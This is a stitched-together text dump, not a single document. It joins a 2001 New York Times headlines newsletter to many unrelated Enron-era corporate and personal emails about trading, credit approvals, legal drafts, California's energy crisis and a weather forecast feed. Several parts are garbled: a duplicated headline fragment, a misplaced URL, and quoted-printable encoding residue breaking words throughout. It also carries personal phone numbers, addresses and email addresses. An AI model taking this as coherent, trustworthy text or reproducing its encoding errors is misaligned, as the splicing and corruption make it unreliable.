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INTERNATIONAL
Troops Sought Information; Airfield Also a Target

The raid into southern Afghanistan on Friday night attacked
Taliban military targets and masked a smaller mission to
uncover Taliban and Al Qaeda leaders.
http://www.nytimes.com/2001/10/21/international/asia/21MILI.html?todaysheadlines

-----
 
Eavesdropping, U.S. Allies See New Terror Attack 

The United States and its close allies are still
intercepting communications among Osama bin   Laden's
associates and are convinced more attacks are coming.
http://www.nytimes.com/2001/10/21/international/21INTE.html?todaysheadlines 

-----

Afghan and Pakistani Tribe Lives by Its Own Set of Rules

The Pashtun, who make up about half the entire population of
Afghanistan, is a tribe that anthropologists consider one
of the oldest on earth.
http://www.nytimes.com/2001/10/21/international/asia/21PASH.html?todaysheadlines 

-----

MORE INTERNATIONAL NEWS:
http://www.nytimes.com/pages/world/index.html?todaysheadline

BUSINESS
Drug Makers Wrestle With World's New Rules

With fears of bioterrorism growing by the day, the nation's
pharmaceutical companies are trying to show that they are
patriots, not profiteers.
http://www.nytimes.com/2001/10/21/business/21DRUG.html?todaysheadlines

-----
 
Venture Capital, Withering and Dying 

Just as Richard Thompson and Larry Braitman, the founders of
Flycast Communications, symbolized the Internet boom of the
1990's, they also came to illustrate the venture-capital
bust.
http://www.nytimes.com/2001/10/21/business/yourmoney/21VENT.html?todaysheadlines 

-----

A Leader-in-Waiting at Motorola

When the General Instrument Corporation was acquired, its
chief executive, Edward D. Breen Jr.,  found a lasting home
in the senior management of the new owner.
http://www.nytimes.com/2001/10/21/business/yourmoney/21PROF.html?todaysheadlines 

-----

MORE BUSINESS NEWS:
http://www.nytimes.com/pages/business/index.html?todaysheadline

TECHNOLOGY

http://www.nytimes.com/2001/10/21/business/yourmoney/21PROF.html?todaysheadlines

-----
 
Trend Bucked as Nokia Net Meets Hopes 

Nokia, the world's largest mobile phone maker, did what only
a handful of technology companies have managed recently:
reported earnings that did not disappoint investors.
http://www.nytimes.com/2001/10/20/technology/20NOKI.html?todaysheadlines 

-----

Rosie the Riveter in a New Generation

The military industry is once again seeing virtues in their
old businesses and a revived sense of being needed.
http://www.nytimes.com/2001/10/20/business/20WORK.html?todaysheadlines 

-----

MORE TECHNOLOGY NEWS:
http://www.nytimes.com/pages/technology/index.html?todaysheadline

POLITICS

-----
 
Bush Calls World Economy Goal of Attacks on U.S. 

President Bush told leaders of 21 nations that the
terrorists who struck the World Trade Center were trying to
bring about a collapse of world markets.
http://www.nytimes.com/2001/10/21/international/asia/21PREX.html?todaysheadlines 

-----

Democrats Are Pushed on Judicial Nominees

Senate Republicans are engaged in a full-scale campaign to
press Democrats to quickly confirm President Bush's
judicial nominees.
http://www.nytimes.com/2001/10/21/national/21COUR.html?todaysheadlines 

-----

MORE POLITICS NEWS:
http://www.nytimes.com/pages/politics/index.html?todaysheadline

SPORTS
Mariners Silence Whispers of a Sweep

Uncertainty enveloped Orlando Hernandez in the fifth
inning, Seattle scored seven runs in the sixth, and the
Mariners crushed the Yankees, 14-3, in Game 3 of the
A.L.C.S.
http://www.nytimes.com/2001/10/21/sports/baseball/21YANK.html?todaysheadlines

-----
 
Diamondbacks Jump on Maddux and Atlanta Early 

Greg Maddux allowed six runs on eight hits in three-plus
innings as Arizona routed the Braves, 11-4, to take a 3-1
lead in the N.L.C.S.
http://www.nytimes.com/2001/10/21/sports/baseball/21BRAV.html?todaysheadlines 

-----

Curtis Martin Enjoys Being Chased Into the End Zone

Like all the best running backs, Curtis Martin loves to run
while being chased. And yard by yard, Martin is emerging as
the best player the Jets have ever had aside from Joe
Namath.
http://www.nytimes.com/2001/10/21/sports/baseball/21ANDE.html?todaysheadlines 

-----

MORE SPORTS NEWS:
http://www.nytimes.com/pages/sports/index.html?todaysheadline

ARTS
Classical Recording: Spinning Into Oblivion?

The classical recording industry seems to be collapsing, and
aggrieved music lovers are looking for someone to  blame.
http://www.nytimes.com/2001/10/21/arts/music/21TOMM.html?todaysheadlines

-----
 
A Rousing Rock Show for a Wounded City 

Madison Square Garden played host to a virtual "who's who of
the entertainment industry" during a concert benefit to
raise money for relatives of the victims of the Sept. 11
attack.
http://www.nytimes.com/2001/10/21/nyregion/21GARD.html?todaysheadlines 

-----

A Play That's Off the Wall Finds a Cast That Is, Too

Amy Sedaris, Sarah Jessica Parker, Marylouise Burke and
Kristine  Nielsen are the fearless actresses in the dark
comedy, "Wonder of the World."
http://www.nytimes.com/2001/10/21/arts/theater/21POGR.html?todaysheadlines 

-----

MORE ARTS NEWS:
http://www.nytimes.com/pages/arts/index.html?todaysheadline

NY REGION

-----
 
Happenstance, Not Strategy, Leaves Green Indebted to Few 

Mark Green has emerged, as the first Democratic mayoral
nominee in memory who appears to owe no  debt to groups
that traditionally stake a claim on New York mayors.
http://www.nytimes.com/2001/10/21/nyregion/21GREE.html?todaysheadlines 

-----

A Rousing Rock Show for a Wounded City

attack.

-----

MORE NY REGION NEWS:
http://www.nytimes.com/pages/nyregion/index.html?todaysheadline

OP-ED 
Is Camel Pox Coming?
By MAUREEN DOWD
Many government officials do not yet have a grip on an enemy
etched in disappearing ink.
http://www.nytimes.com/2001/10/21/opinion/21DOWD.html?todaysheadlines

-----
 
Keeping Panic at Bay 
By JARED DIAMOND
What can we learn from the past that could help us cope with
terrorism?
http://www.nytimes.com/2001/10/21/opinion/21DIAM.html?todaysheadlines 

-----

Can War Bring Peace to Kashmir?
By ANATOL LIEVEN
If the United States is serious   about removing the sources
  of anti-American terrorism,   then at some stage
Washington will have to tackle the   conflict in Kashmir.
http://www.nytimes.com/2001/10/21/opinion/21LIEV.html?todaysheadlines 

-----

MORE OP-ED  NEWS:
http://www.nytimes.com/pages/opinion/index.html?todaysheadline

HOW TO CHANGE YOUR SUBSCRIPTION
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Mike,

The Research Group is looking at some counterintuitive results we could 
observe
 recently in the Value-at-Risk for the aggregate storage book.

I think that the results the system is producing are incorrect and
that we should use instead the number produced by
straightforward addition of Value-at-Risk numbers for the storage book
subportfolios.

We are actively working with the IT to review the code and locate the source
of the  problem. We should also review the interactions between the 
spreadsheet
that contains the storage book and the Value-at-Risk system database.

Vince Kaminski 

Theresa Zucha on behalf of
Stacy Dickson Granmayeh
1400 Smith St., EB3884
Phone:  713/345-4582
Fax:  713/646-3490

Thanks for your note.  I think it is easiest to contact Julia Murray and 
Lance Schuler.  Please call me at any time.

Mark

I talked to Fernando Leija and Randy Hebert.  I would like to recommend both of them for the Trading Track interviews.  Please call both of them to confirm the interview date.

Thanks,
Mike Grigsby

All,

Further to your recent discussions surrounding the ENA Origination Track I will shortly be scheduling an interview date for you to interview recommended candidates.    You have already received the attached list of suggested candidates and as I understand it you have no comments on these individuals thus far.   

In order to match the success of the ENA Trading Track it requires your 100% commitment and participation in the following areas:

1.	Interviewing
2.	Training
3.	Mentoring
4.	Promotion of the Track

I will contact each supervisor of the attached list of candidates to gain further feedback on these candidates, prior to contacting them, and ensure their respective buy-in.

If you have any questions please call me.

I look forward to working with you on this Track.

Karen Buckley
HR - x 54667

---------------------- Forwarded by Steven J Kean/NA/Enron on 05/16/2001 
02:32 AM ---------------------------

"Stuart Ryan" <sryan@aesc.com> on 05/11/2001 06:10:19 PM
To: Steven.J.Kean@enron.com
cc:  

Subject: Re: Conf Call on Mon., May 14

Hi Steve -

I won't be able to make the call on Monday.

I'd be happy to volunteer not to be on the negotiating team.  It sounds
like there's no shortage of people who want to be on the committee.

My big issue is default service.  This industry needs real customers and
the only way to get real customers is to get rid of default service. 
Starting with big customers, along the lines of the core/non-core gas
model, is the best way to go.  The only way to sell this, however, is to
get the big customers to agree it's a good idea.

J. Stuart Ryan
AES Pacific
Suite 3300
100 Pine Street
San Francisco, CA   94111

office:  415 395 7887
mobile:  415 608 0080

Per Jim Steffes request, this is what I talked about in Houston.

I had particularly emphasized the need to define the functions of Control Areas that we want independent from the vertical utilities so that we can leverage that to push for single control areas.

We've updated the Merger Q&A document on our Enron Updates site ( <http://home.enron.com/updates/mergerQA.html>), as a result of the many questions you've had concerning the merger between Enron and Dynegy. Questions addressed include those about Enron stock options, benefits and immigration status. Please stay tuned for additional updates.

James D'Angelo
1100 Yverdon Dr
Camp Hill, PA 17011
eradicator_97@hotmail.com

To Mr. Ken Lay,

I'm writing to urge you to donate the millions of dollars you made from selling Enron stock before the company declared bankruptcy to funds, such as Enron Employee Transition Fund and REACH, that benefit the company's employees, who lost their retirement savings, and provide relief to low-income consumers in California, who can't afford to pay their energy bills.  Enron and you made millions out of the pocketbooks of California consumers and from the efforts of your employees.

Indeed, while you netted well over a $100 million, many of Enron's employees were financially devastated when the company declared bankruptcy and their retirement plans were wiped out.  And Enron made an astronomical profit during the California energy crisis last year.  As a result, there are thousands of consumers who are unable to pay their basic energy bills and the largest utility in the state is bankrupt.

The New York Times reported that you sold $101 million worth of Enron stock while aggressively urging the company's employees to keep buying it.  Please donate this money to the funds set up to help repair the lives of those Americans hurt by Enron's underhanded dealings.

Panda has already scheduled other meetings around ours so they can't move our time.  The will likely be in our office around 1:30pm Tues and we should be done around 3:30 -4pm if you finish with Stan early and would like to join us.

thanks
kh

From: 	Howard, Kevin A.  
Sent:	Monday, February 11, 2002 11:09 AM
To:	Hyatt, Kevin
Subject:	RE: Breakfast with Panda energy?

I can make it by 8.

From: 	Hyatt, Kevin  
To:	Howard, Kevin A.
Subject:	Breakfast with Panda energy?

If I can set it up, are you available for breakfast with Panda on Wed morning?  How early?

regards, 
kevin

We are proud to announce that Enron will partner with Knowledge Beginnings,=
=20
one of the leaders in the childcare industry, to provide high quality,=20
conveniently located, customer service-oriented childcare for Enron employe=
es=20
in Houston.  Knowledge Beginnings is a part of the Knowledge Universe=20
Company, a family of companies focused on lifelong learning.

Our childcare center will be located on Louisiana Street across from our=20
corporate headquarters.  The anticipated opening date is the fall of 2001. =
=20
Any full-time or part-time Enron employee who will have a child/children=20
between the ages of six weeks and four years by the opening date of the=20
center will be eligible to utilize the center.

Please review the attachment to learn more about Enron=01,s onsite childcar=
e=20
center.  We are in the process of building a web page dedicated to this=20
important project and hope that it will provide you with frequent updates a=
nd=20
answers to any future questions you may have.  Watch your email for our=20
launch date!  We are excited about this new venture and look forward to the=
=20
center=01,s opening.

Angela,

Further to our conversation please see the attached comments draft.  I look 
forward to working with you.

From: 	Dronet, David  
Sent:	Thursday, October 25, 2001 10:45 AM
To:	Plachy, Denver; Pimenov, Vladi; Agarwalla, Dipak; Bajwa, Bilal; Bayer, Adam; Berutti, Aaron; Burk, Bart; Cardenas, Catalina; Chang, Sheila; Falik, Brian; Gaskill, Chris; Huble, Amanda; Kurdov, Milen; Lieskovsky, Jozef; Lo, Jeremy; O'Malley, Justin; Pathak, Neeran; Schlesinger, Lauren
Cc:	Sulistio, Franky; Hyde, Chris
Subject:	urls for tickers

Due to performance issues with our plasma screens we have restricted access to the EOL feeds to the plasma machines themselves.
You can however still access the NYMEX strip on the right utilizing the following links.  If you know anyone else who has need
for this information, please forward this email on to them.

Prod Nymex Financial
http://hotcs.enron.com/fundyplasma/site/Financial.jsp
Prod Nymex Financial with EOG
http://hotcs.enron.com/fundyplasma/site/FinancialEOG.jsp
Prod Nymex Current
http://hotcs.enron.com/fundyplasma/site/Current.jsp

Thanks,

Dave

Lorie -

Sorry for the delay in responding.  I have no comments on the content,=20
however, the disclaimer at the bottom needs to be changed.  I have attached=
 a=20
draft of the language I think works best and is consistent with similar=20
pieces promoted by other Enron UK affiliates.

Please let me know if you should need anything further.

Mark
Senior Counsel, EWS
Phone:     713-345-8897
Facsimile: 713-646-3490
E-Mail:      Mark.Greenberg@enron.com

=09Lorie Hernandez/ENRON@enronXgate
=0905/21/2001 09:50 AM
=09=09=20
=09=09 To: Mark Greenberg/NA/Enron@ENRON
=09=09 cc:=20
=09=09 Subject: New Newsletter on EnronOnline

Mark,
=01;
We are looking to place a new newsletter on EnronOnline.=01; The newsletter=
 will=20
reside within the secure site under the Enron Content section.=01; Can you =
take=20
a look and let me know if you have any issues or concerns that would prohib=
it=20
us from displaying it on the site?=01;=20
=01;
=01;
Thanks,
Lorie E. Hernandez
713.853.6283

---------------------- Forwarded by Carol St Clair/HOU/ECT on 04/14/2000 
09:28 AM ---------------------------

Carol St Clair
04/14/2000 09:27 AM
To: karen_ector@transcanada.com
cc: Susan Bailey/HOU/ECT@ECT 
Subject: Response to Comments

Karen:
Here is our response to your e-mail comments:

1. We can put back VI(c)(i) but the reason that we deleted it was because the 
provisions in VI(c)(ii) and VI(E) really deal with how an LC can be drawn 
upon and the language in VI(c)(i) seemed unnecessary and perhaps inconsistent 
with those sections.  If we put it back in, it should be made subject to 
those other sections.

2. With respect to your points regarding the amount that can be drawn, I am 
unclear as to what your position is.  In one place you want to limit it to 
amounts owed and in another you want to limit it to Exposure Amount.  What is 
your position.  We thought that the formula that we set forth in Section 4(b) 
of the amendment was what everyone had agreed to.

3. The reason for the change in E.4.(c) is because the Event of Default 
situation has already been addressed in VI(c)(ii).

4. I need to check with our credit people regarding the transferability 
issue.  I will note that the current form that is attached to the Master 
permits transfers.  Why is this an issue with you?

I look forward to hearing from you.  My number is 713-853-3989.

Carol

OK - we'll get on the Crude Oil list right away - and I'll touch base with John Nowlan.

I assume that Gas & Power is still an area we will hold off on for now?

Dave

From: 	Zipper, Andy  
Sent:	Monday, May 21, 2001 1:36 PM
To:	Forster, David
Subject:	RE: Companies and Areas

I would like to add Energy Trading

with two subset's:

Gas & Power
Crude Oil and Refined Products

I would particualrly like to talk to every Crude and REfined supply and trading organization out there.

Is this an incorporated entity? I assume its authority to trade a range of 
products has been checked out? In Australia this assumption can not be made 
for government  entities

Under our licencing requirements we need to make reasonable enquiries that a 
counterparty has (or is guaranted by someone who has) atleast USD6 million in 
assets. Can this assumption be made?         

From: Tana Jones@ECT on 16-08-2000 08:39 CDT
To: David Minns/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:  

Subject: Re: EOL Credit Responses 08/14/00  

Tauton is ok for all products, except for financial products (it can do 
power).  David, when I talk about this I am never including credit 
derivatives unless Credit specifically tells us in their spreadsheet that 
this is a credit derivatives counterparty.

	David Minns@ENRON_DEVELOPMENT
	08/15/2000 05:32 PM
		
		 To: Tana Jones/HOU/ECT@ECT
		 cc: 
		 Subject: Re: EOL Credit Responses 08/14/00

Tana what can the Taunton Municipal Light Plant trade? Is it the same as 
Huntsville? 

From: Tana Jones@ECT on 15-08-2000 01:35 CDT
To: Alan Aronowitz/HOU/ECT@ECT, Jeffrey T Hodge/HOU/ECT@ECT, Stacy E 
Dickson/HOU/ECT@ECT, Leslie Hansen/HOU/ECT@ECT, Harry M Collins/HOU/ECT@ECT, 
David Portz/HOU/ECT@ECT, Elizabeth Sager/HOU/ECT@ECT, David 
Minns/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Marie Heard/Enron 
Communications@Enron Communications, Robbi Rossi/Enron Communications@Enron 
cc:  

Subject: EOL Credit Responses 08/14/00

----- Forwarded by Tana Jones/HOU/ECT on 08/15/2000 01:35 PM -----

	Bradley Diebner
	08/14/2000 05:27 PM
		 
		 To: Frank L Davis/HOU/ECT@ECT, Karen Lambert/HOU/ECT@ECT, Tana 
Jones/HOU/ECT@ECT, Samuel Schott/HOU/ECT@ECT, Sheri Thomas/HOU/ECT@ECT, Mark 
Taylor/HOU/ECT@ECT, Bernice Rodriguez/HOU/ECT@ECT, Brant Reves/HOU/ECT@ECT, 
Debbie R Brackett/HOU/ECT@ECT, David Hardy/LON/ECT@ECT, Lesli 
Campbell/HOU/ECT@ECT, Molly Harris/HOU/ECT@ECT, Cynthia 
Clark/Corp/Enron@ENRON, Mary G Gosnell/HOU/ECT@ECT, Enron Europe Global 
Contracts and Facilities, Enron Europe Global CounterParty, Stephanie 
Sever/HOU/ECT@ECT, Bradley Diebner/HOU/ECT@ECT, Stacey 
Richardson/HOU/ECT@ECT, Tom Moran/HOU/ECT@ECT, Adnan Patel/Corp/Enron@ENRON, 
Claudia Clark/HOU/ECT@ECT
		 cc: 
		 Subject: EOL Credit Responses 08/14/00

The EOL approvals for 08/14/00 are attached below.

Regards,
bd

Start Date: 4/4/01; HourAhead hour: 10;  HourAhead schedule download failed. 
Manual intervention required.

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final 
Schedules\2001040410.txt
!!!An error occurred while attempting to initialize the Borland Database 
Engine (error $2A04)
Error: dbCaps97Data: Cannot perform this operation on a closed database
Error: Crawler lifetime exceeded.

Nothing with or pertaining to  CGI Information Systems & Management 
Consultants, Inc to the best of my knowledge.

Kay

Kay C. Young
Legal Specialist
713-853-6794 Phone
713-646-3393 Fax
kay.young@enron.com

	Mark Greenberg@ENRON
	03/21/2001 01:03 PM
		 
		 To: Kay Young/HOU/ECT@ECT
		 cc: Tana Jones/HOU/ECT@ECT
		 Subject: CGI Information Systems & Management Consultants, Inc

Kay -

Do we have a confidentiality agreement with the subject company?

Thanks.

Mark
Senior Counsel, ENA
Facsimile: 713-646-3940

 Gerald,

Any update on that PCS guaranty review?  Exposures are pushing past $20MM, a 
highly visible exposure.

brant

They are all done and in a folder on my desk whenever you are ready for them.

From: Mann, Kay 
Sent: Thursday, December 13, 2001 11:56 AM
To: Adams, Suzanne
Subject: RE: Opinions

yes

From: Adams, Suzanne 
Sent: Thursday, December 13, 2001 9:51 AM
To: Mann, Kay

So you just want the new changes to be redlined correct?

Sent: Thursday, December 13, 2001 9:49 AM
Subject: Re: Opinions

I need you to make the changes in the email, including the date. I want redlines to be able to show the signers the changes, as well as the other lawyers.  Maybe copying the doc to a new file will help.

---------------------- Forwarded by Peter F Keavey/HOU/ECT on 05/23/2000 
08:53 AM ---------------------------

Sarah Mulholland
05/23/2000 07:19 AM
To: Maureen Smith/HOU/ECT@ECT, Peter F Keavey/HOU/ECT@ECT
cc:  
Subject: philly hockey

---------------------- Forwarded by Sarah Mulholland/HOU/ECT on 05/23/2000 
07:18 AM ---------------------------

christopher.j.bednar@us.arthurandersen.com on 05/22/2000 07:09:21 PM
To: Sarah.Mulholland@enron.com
cc:  

Enjoy!

---------------------- Forwarded by Christopher J. Bednar on 05/22/2000 06:18 
PM

To:   Christopher J. Bednar
cc:
Date: 05/18/2000 09:07 AM
From: Brian Abbott, Philadelphia, 565 / 5709
Subject:  philly hockey

 - phillyhockey.jpg

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the message to such person), you may not copy or deliver this message to 
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In such case, you should destroy this message and kindly notify the sender by
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From:  webmaster@cera.com@ENRON=20
[mailto:IMCEANOTES-webmaster+40cera+2Ecom+40ENRON@ENRON.com]=20
Sent: Friday, January 19, 2001 5:17 PM
To: messages@cera.com
Subject: High Speed Regulation in California - CERA Alert

Title: High Speed Regulation in California
URL: http://www20.cera.com/eprofile?u=3D35&m=3D2208

A Feverish Pitch
The pace of regulatory and political events in California has taken on the
feverish pitch of the energy market crisis itself. Important decisions
regarding a wide range of market structure issues are being made quickly at=
=20
the
California Public Utilities Commission (CPUC) and the state Legislature,
increasing the level of uncertainty most market participants already percei=
ve
in the quickly evolving California market. Sudden changes are being made to=
=20
the
market structure, changes that used to require years in California=01,s com=
plex
regulatory and legislative proceedings.

As rolling blackouts have rippled through urban centers of Northern Califor=
nia
on January 17 and 18, including in portions of downtown San Francisco,
Sacramento, and the Silicon Valley, state officials are scrambling to set u=
p
the appropriate credit mechanisms to ensure the continued delivery of scarc=
e
western energy supplies to California=01,s two largest utilities. Even at p=
rices
near $800 per megawatt-hour (MWh), the California Department of Water=20
Resources
(CDWR), attempting to buy power on behalf of Pacific Gas and Electric (PG&E=
)
and Southern California Edison (SCE), has been unable to secure enough to k=
eep
the lights on. In the mean time, legal actions by some energy suppliers
threaten to tip the utilities into bankruptcy=01*and are being held at bay =
only=20
by
direct intervention of California=01,s governor.

Below is a summary of the various state actions being pursued concurrently:

*California governor. California Governor Gray Davis continues to attempt t=
o
act on behalf of PG&E and SCE to secure long-term contracts for supply from
merchant generation owners and marketers in California. On the same front, =
the
governor has been negotiating with generators in an attempt to keep them fr=
om
seeking compensation through the courts for energy delivered to the utiliti=
es.
Court-ordered reimbursement could prompt bankruptcy.

*Legislature. Bills have been approved to authorize continued power purchas=
es
on behalf of PG&E and SCE by the CDWR, to restructure the independent syste=
m
operator=01,s (ISO) governing board to consist of five members appointed by=
 the
governor, to restrict the ability of the ISO to enter into a broader=20
interstate
regional transmission organization (RTO) without the explicit approval of
California=01,s Electricity Oversight Board, and to prohibit the divestitur=
e of
the investor-owned utilities=01, remaining generating assets until 2006. Th=
e
vehicle for pursuing authorization of state bond financing for acquisition =
of
transmission assets and construction of new generation facilities is still
being developed.

*California Public Utilities Commission. On January 18 the CPUC adopted a
decision prohibiting the sale of SCE=01,s Mohave Generating Station to AES.=
 This
voids a sale that was announced but not closed. The CPUC also delayed=20
decisions
regarding SCE=01,s application to end its rate freeze and the prudency crit=
eria
for utilities entering into long-term supply contracts.

Some of these issues will continue to evolve as they progress along their
respective and sometimes intersecting paths, and some will need to pass=20
through
multiple review bodies. This rapid and erratic evolution has not helped to
decrease either the financial risk associated with supplying energy to
California=01,s two largest utilities, or the level of uncertainty in devel=
oping
new generation to supply California in the future.

The ISO anticipates that it will call stage 3 emergencies (reserves less th=
an
1.5 percent) for January 19 and will most likely continue to curtail
interruptible customers through the weekend. Western energy supplies are be=
ing
strained by recent heavy usage of hydroelectric facilities where water=20
supplies
are already as much as 25 percent below average, owing to low precipitation=
=20
and
continued plant outages near 9,000 MW in California. The gravity of the
financial condition of California=01,s two largest utilities is exemplified=
 by=20
the
need for other, more creditworthy intermediaries, including California
municipal utilities, state agencies, and some unregulated energy suppliers,=
 to
act as temporary  guarantors for the acquisition of energy on behalf of PG&=
E
and SCE.

**end**

Follow above URL for full report.

*********************************************************
Come Shoot the Rapids with us at CERAWeek2001, "Shooting the Rapids:
Strategies and Risks for the Energy Future" in Houston, February 12-16, 200=
1!
For more information and to register, please visit
http://www20.cera.com/ceraweek/

E-mail Category: Alert
CERA Knowledge Area(s): Western Energy,

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This electronic message and attachments, if any, contain information
from Cambridge Energy Research Associates, Inc. (CERA) which is
confidential and may be privileged. Unauthorized disclosure, copying,
distribution or use of the contents of this message or any attachments,
in whole or in part, is strictly prohibited.
Terms of Use: http://www20.cera.com/tos
Questions/Comments: webmaster@cera.com
Copyright 2000. Cambridge Energy Research Associates

 "I accept the terms and conditions of this Pilot Participant Agreement."

Kevin Ruscitti

Really? Jesus, I thought for sure I got charged. Didn't seem like I had any
extra cash on hand. I have to make sure they didn't charge me... Anyway,
I'll take care of that debt. What a joke! What happened when you put the
room on my card, Cameron? Why did I get so rejected at the ATM all weekend?

Damn irresponsible ski bums...

>To: cameron@perfect.com, scottwl@hotmail.com, psellers@Haas.Berkeley.EDU
>Subject: Merry Xmas?
>Date: Tue, 10 Apr 2001 14:21:36 -0500
>
>Scott/Cameron:
>
>OK, wondering why there ain't no charges on your credit card from our
>FABULOUS trip to Squaw Valley?  I just found out that they're all on
>mine!!?!?!?   I had the best time up there, but I couldn't figure out how
>it coulda cost $1700.  Just called them to inquire.  They said:  There's no
>mistake those are all the carges for rooms 432 and 450.  They're sending
>receipts.  Unreal.
>
>Best,
>Jeff
>

What is in the plan?

 Syncrasy - Weather for Business
[IMAGE]=09

[IMAGE] [IMAGE][IMAGE][IMAGE][IMAGE][IMAGE][IMAGE][IMAGE]        Syncrasy, =
LLC?   713.228.8470 Off  713.228.4147 Fax   909 Texas Avenue  Suite 1314  H=
ouston, TX 77002         www.syncrasy.com       Sales:  713.228.4407   Deve=
lopment Offices:  970.247.4139 Off  970.247.7951 Fax   835 Main Avenue  Sui=
te 221  Durango, CO 81301      =09  =09 [IMAGE]    Complimentary version of=
 Trader Summary  from Syncrasy, LLC and APB Energy Inc.    - If you would l=
ike to receive this product early in the morning       please call Syncrasy=
 at 713 228 4407 for more information       or send an email to subscribe_T=
raderSummary@syncrasy.com  - If you would like to be added to this daily em=
ail list       please send an email to TraderSummaryemail@syncrasy.com  - I=
f you would like to be removed from this daily email       please reply to =
this email with the words "CANCEL" or send an email to cancel_tradersummary=
@syncrasy.com     Data last updated: Thursday, Dec 20, 2001 at 09:04AM ET  =
  Commentary last updated: Thursday, Dec 20, 2001 at 09:14AM ET  Meteorolog=
ist: Andy Weingarten... APB Energy / True Quote    Congratulations Andy Wei=
ngarten, APB Energy!  Winner of the $50,000 Winter 2000-01 AQUILA/AMS Seaso=
nal Forecasting Competition. For more information please visit: AMSor Aquil=
a  Click here for a definition of 'Average-Daily Maximum Temperature'    To=
day: Thursday, December 20, 2001   Syncrasy's Choice:  Delta Temp. Volatili=
ty Matrix  [IMAGE][IMAGE] [IMAGE][IMAGE] [IMAGE][IMAGE] (Click on image to =
enlarge)   [IMAGE]   ECAR(CTR) 38 +1 ERCOT(SP) 64 +1 FRCC(SE) 68 +1 MAAC(NE=
) 45 +1 MAIN(CTR) 40 +1 MAPP(HP) 35 NC NPCC(NE) 39 +1 SERC(SE) 55 +1 SPP(SP=
) 56 +1 WSCC(NW) 41 +2 WSCC(RK) 41 -1 WSCC(SW) 55 +1     Range Standard Dev=
iation [IMAGE] [IMAGE]   Reg CT HP NE NW RK SE SP SW Mean 33 34 39 37 35 52=
 54 49 Max 40 41 42 41 44 59 64 56 Min 29 29 36 35 30 48 45 46 Range 11 12 =
6 6 14 11 19 10 StD-P 2.8 4.2 1.4 1.4 3.6 3.3 5.3 3.0 Count 12 12 12 12 12 =
12 12 12 Click Hereto See Each Weather Forecast Used Within the Volatility =
Matrix    Day 1-5 Discussion:   Important storm about to hit the West coast=
. By the time it exits the East for Christmas, a moderate arctic airmass sh=
ould have finally invaded much of the Eastern two thirds of the U.S.  The a=
ir behind the storm now exiting the NE turned out to be a little colder tha=
n expected as 20's and 30's are widespread this morning even down to the Gu=
lf Coast. The first real Lake Effect snows of the season are underway in th=
e Eastern Lakes. Sunshine farther West will modify this airmass to near if =
not slightly above normal this afternoon. But, it is a part of a stepping d=
own in temperatures that has gradually occurred over the last week to 10 da=
ys. That pattern should continue as Canadian highs are lined up to our NW a=
nd I still expect each one to be progressively colder into early January. T=
he next storm is plowin! g into the West Coast today with rain this morning=
 well South into Central California. This system should emerge into Colorad=
o tomorrow with a weekend track to the NE toward the Great Lakes then East =
from there. I do expect some Christmas weekend snows in the Northern fringe=
s of this storm, but more real estate will see rain rather than snow. A bel=
ow normal plunge of air should follow this storm by Christmas as ridging ra=
pidly develops in the West deepening a trough into the East. Five day tempe=
rature numbers still reflect an above normal bias as we see one final warmu=
p the next 2-3 days before the colder air strikes late in the period.   Tom=
orrow: Friday, December 21, 2001   Syncrasy's Choice:  Delta Temp. Volatili=
enlarge)   [IMAGE]   ECAR(CTR) 36 -3 ERCOT(SP) 66 +3 FRCC(SE) 69 NC MAAC(NE=
) 40 -1 MAIN(CTR) 38 -4 MAPP(HP) 34 -2 NPCC(NE) 32 NC SERC(SE) 56 +1 SPP(SP=
) 57 NC WSCC(NW) 38 +3 WSCC(RK) 36 +4 WSCC(SW) 52 NC     Range Standard Dev=
iation [IMAGE] [IMAGE]   Reg CT HP NE NW RK SE SP SW Mean 34 37 34 36 32 54=
 60 48 Max 37 40 42 41 43 61 67 54 Min 29 30 30 33 27 48 55 43 Range 8 10 1=
2 8 16 13 12 11 StD-P 2.1 2.2 2.6 2.4 5.0 3.4 2.8 3.9 Count 14 14 14 14 14 =
14 14 14 Click Hereto See Each Weather Forecast Used Within the Volatility =
Matrix   Day 3: Saturday, December 22, 2001   Syncrasy's Choice:  Delta Tem=
p. Volatility Matrix  [IMAGE][IMAGE] [IMAGE][IMAGE] [IMAGE][IMAGE] (Click o=
n image to enlarge)   [IMAGE]   ECAR(CTR) 46 -1 ERCOT(SP) 65 +3 FRCC(SE) 73=
 -1 MAAC(NE) 42 -2 MAIN(CTR) 44 +4 MAPP(HP) 28 +1 NPCC(NE) 34 -2 SERC(SE) 5=
8 -1 SPP(SP) 49 +4 WSCC(NW) 39 -1 WSCC(RK) 28 +2 WSCC(SW) 52 NC     Range S=
tandard Deviation [IMAGE] [IMAGE]   Reg CT HP NE NW RK SE SP SW Mean 39 30 =
30 36 26 56 59 48 Max 42 38 37 39 39 60 63 52 Min 36 25 24 33 18 53 55 44 R=
ange 6 13 13 6 21 7 8 8 StD-P 1.2 2.9 3.4 1.8 5.4 2.2 2.6 2.9 Count 12 12 1=
2 12 12 12 12 12 Click Hereto See Each Weather Forecast Used Within the Vol=
atility Matrix   Day 4: Sunday, December 23, 2001   Syncrasy's Choice:  Del=
ta Temp. Volatility Matrix  [IMAGE][IMAGE] [IMAGE][IMAGE] [IMAGE][IMAGE] (C=
lick on image to enlarge)   [IMAGE]   ECAR(CTR) 41 -2 ERCOT(SP) 56 +2 FRCC(=
SE) 75 NC MAAC(NE) 48 +1 MAIN(CTR) 30 -2 MAPP(HP) 20 NC NPCC(NE) 40 +1 SERC=
(SE) 55 -1 SPP(SP) 39 NC WSCC(NW) 40 -1 WSCC(RK) 31 +2 WSCC(SW) 54 -1     R=
ange Standard Deviation [IMAGE] [IMAGE]   Reg CT HP NE NW RK SE SP SW Mean =
33 23 38 37 24 59 50 50 Max 39 29 43 40 32 61 63 53 Min 29 17 36 34 14 57 3=
8 44 Range 10 12 7 6 18 4 25 9 StD-P 2.7 3.6 1.8 2.1 4.9 1.1 6.5 2.7 Count =
10 10 10 10 10 10 10 10 Click Hereto See Each Weather Forecast Used Within =
the Volatility Matrix   Day 5: Monday, December 24, 2001   Syncrasy's Choic=
e:  Delta Temp. Volatility Matrix  [IMAGE][IMAGE] [IMAGE][IMAGE] [IMAGE][IM=
AGE] (Click on image to enlarge)   [IMAGE]   ECAR(CTR) 32 -4 ERCOT(SP) 52 +=
1 FRCC(SE) 70 NC MAAC(NE) 44 -5 MAIN(CTR) 26 -3 MAPP(HP) 18 -5 NPCC(NE) 40 =
